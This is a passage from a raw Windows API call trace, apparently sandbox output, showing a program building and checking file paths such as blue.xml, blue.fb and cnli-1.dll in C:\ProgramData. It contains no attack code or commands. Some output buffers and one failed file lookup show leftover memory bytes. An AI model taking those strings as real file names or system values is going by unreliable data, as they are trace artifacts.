out: pbstr=0x471f70*="device") returned 1 [0118.190] SysReAllocStringLen (in: pbstr=0x471f90*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x471f90*="harddiskvolume1") returned 1 [0118.242] SysReAllocStringLen (in: pbstr=0x471f9c*=0x0, psz="programdata", len=0xb | out: pbstr=0x471f9c*="programdata") returned 1 [0118.243] SysReAllocStringLen (in: pbstr=0x471fa8*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x471fa8*="blue.fb") returned 1 [0118.243] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device\x9dv\x18", lpUsedDefaultChar=0x0) returned 6 [0118.243] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.243] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.243] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.fb", cchWideChar=7, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.fbdataume1", lpUsedDefaultChar=0x0) returned 7 [0118.244] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\blue.fb\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.244] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0118.244] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0118.244] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.244] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="blue.fb", len=0x7 | out: pbstr=0x28f1c0*="blue.fb") returned 1 [0118.244] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\blue.fb", len=0x28 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\blue.fb") returned 1 [0118.244] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\blue.fb\\", len=0x29 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\blue.fb\\") returned 1 [0118.244] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\blue.fb\\", cchLength=0x29 | out: lpsz="\\device\\harddiskvolume1\\progra~3\\blue.fb\\") returned 0x29 [0118.244] SysReAllocStringLen (in: pbstr=0x471fb8*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\blue.fb\\", len=0x29 | out: pbstr=0x471fb8*="\\device\\harddiskvolume1\\progra~3\\blue.fb\\") returned 1 [0118.244] SysReAllocStringLen (in: pbstr=0x471fdc*=0x0, psz="device", len=0x6 | out: pbstr=0x471fdc*="device") returned 1 [0118.245] SysReAllocStringLen (in: pbstr=0x471ffc*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x471ffc*="harddiskvolume1") returned 1 [0118.245] SysReAllocStringLen (in: pbstr=0x472008*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x472008*="progra~3") returned 1 [0118.245] SysReAllocStringLen (in: pbstr=0x472014*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x472014*="blue.fb") returned 1 [0118.245] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devicebdataume1", lpUsedDefaultChar=0x0) returned 6 [0118.245] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.245] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0118.245] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.fb", cchWideChar=7, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.fb3volume1", lpUsedDefaultChar=0x0) returned 7 [0118.245] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.245] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.245] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.246] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x28f23c*="blue.xml") returned 1 [0118.246] CharLowerBuffW (in: lpsz="blue.xml", cchLength=0x8 | out: lpsz="blue.xml") returned 0x8 [0118.246] SysReAllocStringLen (in: pbstr=0x28f240*="blue.xml", psz="blue.xml", len=0x8 | out: pbstr=0x28f240*="blue.xml") returned 1 [0118.246] SysReAllocStringLen (in: pbstr=0x47206c*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x47206c*="blue.xml") returned 1 [0118.246] SysReAllocStringLen (in: pbstr=0x472070*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x472070*="blue.xml") returned 1 [0118.246] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0118.246] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0118.246] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.xml") returned 0x17 [0118.246] SysReAllocStringLen (in: pbstr=0x472074*=0x0, psz="c:\\programdata\\blue.xml", len=0x17 | out: pbstr=0x472074*="c:\\programdata\\blue.xml") returned 1 [0118.247] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.xml") returned 0x17 [0118.247] SysReAllocStringLen (in: pbstr=0x472150*=0x0, psz="c:\\programdata\\blue.xml", len=0x17 | out: pbstr=0x472150*="c:\\programdata\\blue.xml") returned 1 [0118.247] SysReAllocStringLen (in: pbstr=0x472154*=0x0, psz="c:", len=0x2 | out: pbstr=0x472154*="c:") returned 1 [0118.247] SysReAllocStringLen (in: pbstr=0x472174*=0x0, psz="programdata", len=0xb | out: pbstr=0x472174*="programdata") returned 1 [0118.247] SysReAllocStringLen (in: pbstr=0x472194*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x472194*="blue.xml") returned 1 [0118.247] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.247] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.xml", cchWideChar=8, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.xmlatawr45w", lpUsedDefaultChar=0x0) returned 8 [0118.248] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.248] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0118.248] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.248] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759468 [0118.248] FindNextFileW (in: hFindFile=0x759468, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.248] GetLastError () returned 0x12 [0118.248] FindClose (in: hFindFile=0x759468 | out: hFindFile=0x759468) returned 1 [0118.248] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0118.248] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0118.248] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="blue.xml", len=0x8 | out: pbstr=0x28ef0c*="blue.xml") returned 1 [0118.248] FindFirstFileW (in: lpFileName="c:\\ProgramData\\blue.xml", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13be51e0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be51e0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13be78f0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x1e66, dwReserved0=0x0, dwReserved1=0x0, cFileName="blue.xml", cAlternateFileName="")) returned 0x759468 [0118.248] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.248] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.249] FindClose (in: hFindFile=0x759468 | out: hFindFile=0x759468) returned 1 [0118.249] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\blue.xml", len=0x17 | out: pbstr=0x28ef00*="c:\\ProgramData\\blue.xml") returned 1 [0118.249] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\blue.xml", psz="c:\\ProgramData\\blue.xml\\", len=0x18 | out: pbstr=0x28f214*="c:\\ProgramData\\blue.xml\\") returned 1 [0118.249] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\blue.xml\\", len=0x18 | out: pbstr=0x28eefc*="c:\\ProgramData\\blue.xml\\") returned 1 [0118.249] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\blue.xml\\", psz="c:\\ProgramData\\blue.xml", len=0x17 | out: pbstr=0x28f214*="c:\\ProgramData\\blue.xml") returned 1 [0118.250] CharLowerBuffW (in: lpsz="c:\\ProgramData\\blue.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.xml") returned 0x17 [0118.250] SysReAllocStringLen (in: pbstr=0x472150*=0x0, psz="c:\\programdata\\blue.xml", len=0x17 | out: pbstr=0x472150*="c:\\programdata\\blue.xml") returned 1 [0118.250] SysReAllocStringLen (in: pbstr=0x472154*=0x0, psz="c:", len=0x2 | out: pbstr=0x472154*="c:") returned 1 [0118.250] SysReAllocStringLen (in: pbstr=0x472174*=0x0, psz="programdata", len=0xb | out: pbstr=0x472174*="programdata") returned 1 [0118.250] SysReAllocStringLen (in: pbstr=0x472194*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x472194*="blue.xml") returned 1 [0118.250] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.250] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.xml", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.xmlataume1", lpUsedDefaultChar=0x0) returned 8 [0118.251] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.xml") returned 0x17 [0118.251] SysReAllocStringLen (in: pbstr=0x4721a4*=0x0, psz="c:\\programdata\\blue.xml", len=0x17 | out: pbstr=0x4721a4*="c:\\programdata\\blue.xml") returned 1 [0118.251] SysReAllocStringLen (in: pbstr=0x4721a8*=0x0, psz="c:", len=0x2 | out: pbstr=0x4721a8*="c:") returned 1 [0118.251] SysReAllocStringLen (in: pbstr=0x4721c8*=0x0, psz="programdata", len=0xb | out: pbstr=0x4721c8*="programdata") returned 1 [0118.251] SysReAllocStringLen (in: pbstr=0x4721e8*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x4721e8*="blue.xml") returned 1 [0118.251] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatalatawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.251] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.xml", cchWideChar=8, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.xmlatalatawr45w", lpUsedDefaultChar=0x0) returned 8 [0118.252] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.252] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0118.252] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.252] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759468 [0118.252] FindNextFileW (in: hFindFile=0x759468, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.252] GetLastError () returned 0x12 [0118.252] FindClose (in: hFindFile=0x759468 | out: hFindFile=0x759468) returned 1 [0118.252] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.252] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.252] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="blue.xml", len=0x8 | out: pbstr=0x28ef0c*="blue.xml") returned 1 [0118.252] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\blue.xml", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13be51e0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be51e0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13be78f0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x1e66, dwReserved0=0x0, dwReserved1=0x0, cFileName="blue.xml", cAlternateFileName="")) returned 0x759468 [0118.253] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.253] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.253] FindClose (in: hFindFile=0x759468 | out: hFindFile=0x759468) returned 1 [0118.253] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\blue.xml", len=0x14 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\blue.xml") returned 1 [0118.253] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\blue.xml", psz="c:\\PROGRA~3\\blue.xml\\", len=0x15 | out: pbstr=0x28f210*="c:\\PROGRA~3\\blue.xml\\") returned 1 [0118.253] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\blue.xml\\", len=0x15 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\blue.xml\\") returned 1 [0118.253] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\blue.xml\\", psz="c:\\PROGRA~3\\blue.xml", len=0x14 | out: pbstr=0x28f210*="c:\\PROGRA~3\\blue.xml") returned 1 [0118.254] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\blue.xml", cchLength=0x14 | out: lpsz="c:\\progra~3\\blue.xml") returned 0x14 [0118.254] SysReAllocStringLen (in: pbstr=0x4721a4*=0x0, psz="c:\\progra~3\\blue.xml", len=0x14 | out: pbstr=0x4721a4*="c:\\progra~3\\blue.xml") returned 1 [0118.254] SysReAllocStringLen (in: pbstr=0x4721a8*=0x0, psz="c:", len=0x2 | out: pbstr=0x4721a8*="c:") returned 1 [0118.254] SysReAllocStringLen (in: pbstr=0x4721c8*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x4721c8*="progra~3") returned 1 [0118.254] SysReAllocStringLen (in: pbstr=0x4721e8*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x4721e8*="blue.xml") returned 1 [0118.254] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3ataume1", lpUsedDefaultChar=0x0) returned 8 [0118.254] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.xml", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.xmlataume1", lpUsedDefaultChar=0x0) returned 8 [0118.254] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x472210, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVB0EEE4.TMP⍔vバt☘E\x18") returned 12 [0118.254] CharLowerBuffW (in: lpsz="EVB0EEE4.TMP", cchLength=0xc | out: lpsz="evb0eee4.tmp") returned 0xc [0118.255] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.255] FindFirstFileW (in: lpFileName="c:\\programdata\\evb0eee4.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13be78f0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x1e66, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x6c0062, nFileSizeLow=0x650075, dwReserved0=0x78002e, dwReserved1=0x6c006d, cFileName="", cAlternateFileName="A臌uA((")) returned 0xffffffff [0118.255] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.255] SysReAllocStringLen (in: pbstr=0x28f258*="evb0eee4.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.255] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.255] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.255] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.255] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="blue.xml", len=0x8 | out: pbstr=0x28f1cc*="blue.xml") returned 1 [0118.255] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\blue.xml", len=0x2c | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\blue.xml") returned 1 [0118.255] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\blue.xml\\", len=0x2d | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\blue.xml\\") returned 1 [0118.255] SysReAllocStringLen (in: pbstr=0x472090*=0x0, psz="\\device\\harddiskvolume1\\programdata\\blue.xml\\", len=0x2d | out: pbstr=0x472090*="\\device\\harddiskvolume1\\programdata\\blue.xml\\") returned 1 [0118.255] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\blue.xml\\", cchLength=0x2d | out: lpsz="\\device\\harddiskvolume1\\programdata\\blue.xml\\") returned 0x2d [0118.256] SysReAllocStringLen (in: pbstr=0x472228*=0x0, psz="\\device\\harddiskvolume1\\programdata\\blue.xml\\", len=0x2d | out: pbstr=0x472228*="\\device\\harddiskvolume1\\programdata\\blue.xml\\") returned 1 [0118.256] SysReAllocStringLen (in: pbstr=0x47224c*=0x0, psz="device", len=0x6 | out: pbstr=0x47224c*="device") returned 1 [0118.256] SysReAllocStringLen (in: pbstr=0x47226c*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x47226c*="harddiskvolume1") returned 1 [0118.256] SysReAllocStringLen (in: pbstr=0x472278*=0x0, psz="programdata", len=0xb | out: pbstr=0x472278*="programdata") returned 1 [0118.256] SysReAllocStringLen (in: pbstr=0x472284*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x472284*="blue.xml") returned 1 [0118.256] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\blue.xml\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.256] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0118.256] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0118.256] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.256] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="blue.xml", len=0x8 | out: pbstr=0x28f1c0*="blue.xml") returned 1 [0118.256] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\blue.xml", len=0x29 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\blue.xml") returned 1 [0118.256] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\blue.xml\\", len=0x2a | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\blue.xml\\") returned 1 [0118.256] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\blue.xml\\", cchLength=0x2a | out: lpsz="\\device\\harddiskvolume1\\progra~3\\blue.xml\\") returned 0x2a [0118.256] SysReAllocStringLen (in: pbstr=0x472294*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\blue.xml\\", len=0x2a | out: pbstr=0x472294*="\\device\\harddiskvolume1\\progra~3\\blue.xml\\") returned 1 [0118.257] SysReAllocStringLen (in: pbstr=0x4722b8*=0x0, psz="device", len=0x6 | out: pbstr=0x4722b8*="device") returned 1 [0118.257] SysReAllocStringLen (in: pbstr=0x4722d8*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4722d8*="harddiskvolume1") returned 1 [0118.257] SysReAllocStringLen (in: pbstr=0x4722e4*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x4722e4*="progra~3") returned 1 [0118.257] SysReAllocStringLen (in: pbstr=0x4722f0*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x4722f0*="blue.xml") returned 1 [0118.257] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.257] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.257] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.257] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x28f23c*="cnli-1.dll") returned 1 [0118.257] CharLowerBuffW (in: lpsz="cnli-1.dll", cchLength=0xa | out: lpsz="cnli-1.dll") returned 0xa [0118.257] SysReAllocStringLen (in: pbstr=0x28f240*="cnli-1.dll", psz="cnli-1.dll", len=0xa | out: pbstr=0x28f240*="cnli-1.dll") returned 1 [0118.257] SysReAllocStringLen (in: pbstr=0x472348*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x472348*="cnli-1.dll") returned 1 [0118.257] SysReAllocStringLen (in: pbstr=0x47234c*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x47234c*="cnli-1.dll") returned 1 [0118.257] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: 